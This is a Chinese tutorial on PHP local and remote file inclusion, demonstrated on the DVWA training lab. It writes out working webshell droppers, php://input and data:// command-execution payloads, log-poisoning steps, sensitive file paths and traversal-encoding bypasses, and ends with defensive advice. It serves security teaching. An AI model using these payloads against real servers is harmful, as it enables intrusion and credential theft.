一、什么是文件包含漏洞
1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。在通过PHP的相应函数(比如imnclude0)引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
2.漏洞成因分析
我们先直接来看一个简单的例子,网页代码如下:
<?phpinclude $_GET['test'];
?>
在创建一个phpinfo.php页面,代码如下:
利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析
将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:
将phpinfo.php文件后缀改为jpg格式,也可以解析:
可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
在上一期的文件上传漏洞的总结中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。
现在我们将phpinfo.jpg的内容改成一段文字:hello world!
再次进行访问,可以读出文本内容
对于php文件进行读取 运行 phpinfo能够出来的 但是在下边就进行了运行 但是失败了
对于其他文件就是进行读取 没有运行
利用这个特性,我们可以读取一下包含敏感信息的文件。
二、本地文件包含漏洞(LFI)
能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
测试网页包含如下代码:
<?php$file=$_GET['filename'];include($file);
?>
网站利用文件包含功能读取一些php文件,例如phpinfo:
127.0.0.1/inculde.php?filename=phpinfo.php
利用该代码,我们可以读取一些系统本地的敏感信息。
例如:C:\Windows\system.ini文件。
(1)使用绝对路径
使用绝对路径直接读取:
(2)使用相对路径进行读取
通过./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。例如当前页面所在路径为C:\Apache24\htdocs\,我们需要使用…/退到C盘再进行访问,构造路径如下:
../../windows/system.ini
(3)一些常见的敏感目录信息路径:
Windows系统:
C:\Windows\system.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
E:\phpstudy_pro\Extensions\MySQL5.5.29\my.ini
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
三、LFI漏洞利用技巧
1.配合文件上传使用
有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。
以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:
<?phpfwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>
找到上传点进行上传:
文件保存的完整路径为:
../../hackable/uploads/index.jpg 上传成功!
../../hackable/uploads/webshell.jpg 上传成功!
DVWA平台low等级文件包含漏洞页面如下:
默认请求的是index.php文件
该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下:
现在我们利用该页面去执行我们上传的图片马
构造URL如下,代码成功解析,我这里使用的phpinfo进行测试,实战直接替换为上述所写的一句话木马即可。
http://localhost/dvwa/vulnerabilities/fi/index.php?page=../../hackable/uploads/index.jpg 上传成功!http://localhost/dvwa/vulnerabilities/fi/index.php?page=../../hackable/uploads/webshell.jpg
注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。
文件包含漏洞 大多数需要代码审核 代码审计 需要看源码去找这个有没有
2.包含Apache日志文件
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。
在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:
当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:
如果我们访问一个不存在的资源,也一样会进行记录,例如访问
127.0.0.1/<?php phpinfo();?>
网页会显示403
但查看日志会发现被成功记录但被编码了,如下:
我们再次进行访问,并使用burp抓包,发现被编码:
<?php phpinfo();?>
此时再查看access日志,正确写入php代码:
<?php
phpinfo();
?>
再通过本地文件包含漏洞访问,即可执行
127.0.0.1/inculde.php?test=E:/phpstudy_pro/Extensions/Apache2.4.39/logs/access.log.1680048000
我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。
3.包含SESSION文件
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
- 找到Session内的可控变量
- Session文件可读写,并且知道存储路径
- php的session文件的保存路径可以在phpinfo的session.save_path看到。
- session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
文件包含 - Bugku CTF平台
4.包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
四、远程文件包含(RFI)
如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
首先我们来看一段代码
<?php
$path=$_GET['path'];
include($path . '/phpinfo.php');
?>
访问本地site目录下的phpinfo.php文件:
<?php
phpinfo();
?>
该页面并没有对$path做任何过滤,因此存在文件包含漏洞。
我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。
但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。
还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:
如果test.php是恶意的webshell文件,那么利用该漏洞就可以获取到服务器权限。
五、PHP伪协议
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
1.file://协议
默认是不写的 访问本地文件只需要 写文件的路径
2.1.1 利用条件
只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求。
?page=php://filter/read=convert.base64-encode/resource=file1.php
2.1.2 用法:
?page=php://filter/read=convert.base64-encode/resource=file1.php
2、使用php://协议进行文件包含file1.php,可以看到,已经返回了包含文件的base64加密源码:
这个字符串看起来像是一个URL参数,其中包含了一段特殊构造的字符串,可能用于试图利用文件包含漏洞。
让我解释一下这个字符串:
- ?page=: 这部分表示一个URL参数,通常用于向服务器传递参数。
- php://filter/read=convert.base64-encode/resource=: 这是一个尝试使用PHP的过滤器(filter)来进行文件读取和Base64编码的操作。具体解释如下:
-
- php://filter/ 是一个PHP封装协议,允许对输入和输出流进行过滤。
- read=convert.base64-encode/resource= 表示使用过滤器进行读取,并将读取的内容进行Base64编码。
- file1.php: 这是尝试读取的文件名,攻击者试图读取名为 file1.php 的文件。
整个字符串的目的可能是尝试通过文件包含漏洞读取 file1.php 文件的内容,并以Base64编码的形式返回给攻击者。这种技术有时被用于绕过一些限制,尤其是在试图读取和执行远程文件的时候。
?page=php://filter/read=convert.base64-encode/resource=file1.php
3、复制加密的内容进行解密:
<?php$page[ 'body' ] .= "
<div class=\"body_padded\"><h1>Vulnerability: File Inclusion</h1><div class=\"vulnerable_code_area\"><h3>File 1</h3><hr />Hello <em>" . dvwaCurrentUser() . "</em><br />Your IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br />[<em><a href=\"?page=include.php\">back</a></em>]</div><h2>More info</h2><ul><li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li><li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li></ul>
</div>\n";?>
4、通过目录穿越的方法读取index.php文件:
?page=php://filter/read=convert.base64-encode/resource=../../index.php
<?php# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'admin';
$_DVWA[ 'db_password' ] = 'KWpBpyYj7FYw';# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';# Default security level
# Default value for the secuirty level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';# Default PHPIDS status
# PHPIDS status with each session.
# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';# Verbose PHPIDS messages
# Enabling this will show why the WAF blocked the request on the blocked request.
# The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';?>
<?phpdefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';dvwaPageStartup( array( 'authenticated', 'phpids' ) );$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Welcome' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'home';$page[ 'body' ] .= "
<div class=\"body_padded\"><h1>Welcome to Damn Vulnerable Web Application!</h1><p>Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.</p><p>The aim of DVWA is to <em>practice some of the most common web vulnerability</em>, with <em>various difficultly levels</em>, with a simple straightforward interface.</p><hr /><br /><h2>General Instructions</h2><p>It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability.</p><p>Please note, there are <em>both documented and undocumented vulnerability</em> with this software. This is intentional. You are encouraged to try and discover as many issues as possible.</p><p>DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious actions. Note, there are also various public methods at bypassing these protections (so this can be see an as extension for more advance users)!</p><p>There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.</p><hr /><br /><h2>WARNING!</h2><p>Damn Vulnerable Web Application is damn vulnerable! <em>Do not upload it to your hosting provider's public html folder or any Internet facing servers</em>, as they will be compromised. It is recommend using a virtual machine (such as " . dvwaExternalLinkUrlGet( 'https://www.virtualbox.org/','VirtualBox' ) . " or " . dvwaExternalLinkUrlGet( 'https://www.vmware.com/','VMware' ) . "), which is set to NAT networking mode. Inside a guest machine, you can downloading and install " . dvwaExternalLinkUrlGet( 'https://www.apachefriends.org/en/xampp.html','XAMPP' ) . " for the web server and database.</p><br /><h3>Disclaimer</h3><p>We do not take responsibility for the way in which any one uses this application (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.</p><hr /><br /><h2>More Training Resources</h2><p>DVWA aims to cover the most commonly seen vulnerabilities found in today's web applications. However there are plenty of other issues with web applications. Should you wish to explore any additional attack vectors, or want more difficult challenges, you may wish to look into the following other projects:</p><ul><li>" . dvwaExternalLinkUrlGet( 'http://www.itsecgames.com/', 'bWAPP') . "</li><li>" . dvwaExternalLinkUrlGet( 'http://sourceforge.net/projects/mutillidae/files/mutillidae-project/', 'NOWASP') . " (formerly known as " . dvwaExternalLinkUrlGet( 'http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10', 'Mutillidae' ) . ")</li><li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project', 'OWASP Broken Web Applications Project
') . "</li></ul><hr /><br />
</div>";dvwaHtmlEcho( $page );?>
#
# The MySQL database server configuration file.
#
# You can copy this to one of:
# - "/etc/mysql/my.cnf" to set global options,
# - "~/.my.cnf" to set user-specific options.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html# This will be passed to all mysql clients
# It has been reported that passwords should be enclosed with ticks/quotes
# escpecially if they contain "#" chars...
# Remember to edit /etc/mysql/debian.cnf when changing the socket location.
[client]
port = 3306
socket = /var/run/mysqld/mysqld.sock# Here is entries for some specific programs
# The following values assume you have at least 32M ram# This was formally known as [safe_mysqld]. Both versions are currently parsed.
[mysqld_safe]
socket = /var/run/mysqld/mysqld.sock
nice = 0[mysqld]
#
# * Basic Settings
#
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
skip-external-locking
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address = 127.0.0.1
#
# * Fine Tuning
#
key_buffer = 16M
max_allowed_packet = 16M
thread_stack = 192K
thread_cache_size = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
myisam-recover = BACKUP
#max_connections = 100
#table_cache = 64
#thread_concurrency = 10
#
# * Query Cache Configuration
#
query_cache_limit = 1M
query_cache_size = 16M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
#general_log_file = /var/log/mysql/mysql.log
#general_log = 1
#
# Error log - should be very few entries.
#
log_error = /var/log/mysql/error.log
#
# Here you can see queries with especially long duration
#log_slow_queries = /var/log/mysql/mysql-slow.log
#long_query_time = 2
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
# other settings you may need to change.
#server-id = 1
#log_bin = /var/log/mysql/mysql-bin.log
expire_logs_days = 10
max_binlog_size = 100M
#binlog_do_db = include_database_name
#binlog_ignore_db = include_database_name
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Security Features
#
# Read the manual, too, if you want chroot!
# chroot = /var/lib/mysql/
#
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
#
# ssl-ca=/etc/mysql/cacert.pem
# ssl-cert=/etc/mysql/server-cert.pem
# ssl-key=/etc/mysql/server-key.pem[mysqldump]
quick
quote-names
max_allowed_packet = 16M[mysql]
#no-auto-rehash # faster start of mysql but no tab completition[isamchk]
key_buffer = 16M#
# * IMPORTANT: Additional settings that can override those from this file!
# The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
2.php://协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
利用条件:
allow_url_fopen :off/on
allow_url_include:off/on
2.2.1 利用条件:
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行;需要开启allow_url_include=on,对allow_url_fopen不做要求。
2.2.2 用法:
#URL中:
?page=php://input#请求数据中:
<?php system(whoami);?> #这里是通过php代码执行系统命令whoami;
1、在文件包含页面,通过burpsuite抓包:
2、用burpsuite抓包在url中输入php://input,在底部请求数据中可以写任意PHP代码:
获得phpinfo信息
3、通过php代码执行系统命令:
4、写入一句话木马文件:
<?php fputs(fopen('test.php','w'),'<?php @eval($_POST[test]);?>');?>
5、页面出现乱码解决:
例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:
他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:
输入
php://filter/convert.base64-encode/resource=文件路径
再进行base64解码,获取到2.php的完整源码信息:
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
利用条件:
- allow_url_fopen :off/on
- allow_url_include:on
3.ZIP://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
2.3.1 利用条件
allow_url_fopen :off/on
allow_url_include:off/on
zip://可以访问压缩文件中的文件。
条件: 使用zip协议,需要将#编码为%23,所以需要PHP 的版本 >=5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。
2.3.2 用法:
?page=zip://[压缩文件路径]#[压缩文件内的子文件名]
1、将靶机网站主目录下的1.php,压缩成1.zip压缩包:
<?php phpinfo();?>
2、通过zip://伪协议对它进行文件包含:
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
4.data://协议
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:
2.4.1 利用条件:
和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同。
条件:allow_url_fopen参数与allow_url_include都需开启。
allow_url_fopen :on
allow_url_include:on
2.4.2 用法:
POC为:
#用法1:
?page=data:text/plain,<?php 执行内容 ?>
#用法2:
?page=data:text/plain;base64,编码后的php代码data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
1、使用用法1执行代码:
执行内容:
<?php system(whoami);?>
2、使用用法2执行代码:
执行内容:
<?php system(whoami);?>
注:经base64编码后的加号和等号要手动的url编码,以免浏览器识别不了。
对执行内容进行base64加密:
可以看到系统命令已经执行成功:
5.伪协议利用条件
伪协议的利用方法还有很多,这里就不一一举例了。
伪协议的用法小结
六、文件包含漏洞防护
1、使用str_replace等方法过滤掉危险字符2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)3、php版本升级,防止%00截断4、对上传的文件进行重命名,防止被读取5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
任意文件下载(Arbitrary File Download)和文件包含(File Inclusion)是两种不同的安全漏洞,它们分别涉及到对文件系统的操作。
- 任意文件下载:
-
- 概念: 指攻击者能够在目标系统上下载任意文件,包括敏感文件,而无需认证。
- 漏洞原理: 常见于未正确验证用户输入的情况下,攻击者通过构造恶意请求,使系统返回文件内容,从而实现文件下载。
- 风险: 可能导致敏感信息泄露,例如配置文件、数据库备份等。
- 文件包含:
-
- 概念: 涉及到在程序中包含外部文件的操作,如果没有适当的验证,可能导致恶意文件的包含。
- 漏洞原理: 常见于未正确验证用户提供的文件路径或参数的情况下,攻击者通过构造恶意请求,使程序包含他们控制的文件,从而执行恶意代码。
- 风险: 可能导致远程代码执行,系统被入侵,敏感信息泄露等。
虽然两者都涉及到操作文件系统,但任意文件下载更侧重于读取文件内容,而文件包含更侧重于程序在执行时包含外部文件。为防止这些漏洞,应该始终对用户输入进行适当的验证和过滤,确保只能访问预期的文件,并避免使用用户提供的输入构造文件路径。同时,采用最小权限原则和定期审查系统安全性。
绕过
六.文件包含截断攻击
在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成\0 截断会失败。
1.代码分析
2.渗透过程
指定前缀绕过
一、目录遍历
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php 测试代码如下:
<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file;
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/flag.txt
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。
二、编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
2.二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
3.容器/服务器的编码方式
../
..%c0%a
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点) Apache Tomcat Directory Traversal
..\
..%c1%9c
指定后缀绕过
后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:
<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt";
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
一、利用URL
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。 可参考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
[访问参数] ?file=http://localhost:8081/phpinfo.php?
[拼接后] ?file=http://localhost:8081/phpinfo.php?.txt
Example:(设在根目录下有flag2.txt文件) fragment(#)
[访问参数] ?file=http://localhost:8081/phpinfo.php%23
[拼接后] ?file=http://localhost:8081/phpinfo.php#.txt
Example:(设在根目录下有flag2.txt文件)
二、利用协议
利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
[访问参数] ?file=zip://D:\zip.jpg%23phpinfo
[拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt
phar://
[访问参数] ?file=phar://zip.zip/phpinfo
[拼接后] ?file=phar://zip.zip/phpinfo.txt
Example: (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>)) 所以分别构造payload为:
?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo ?file=phar://../../php.zip/phpinfo
三、长度截断
利用条件:
php版本 < php 5.2.8
原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:
只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
?file=./././。。。省略。。。././shell.php
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
四、%00截断
利用条件:
magic_quotes_gpc = Off
php版本 < php 5.3.4
利用方法:
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
注:现在用到%00阶段的情况已经不多了
这里有好多宝藏可以去看看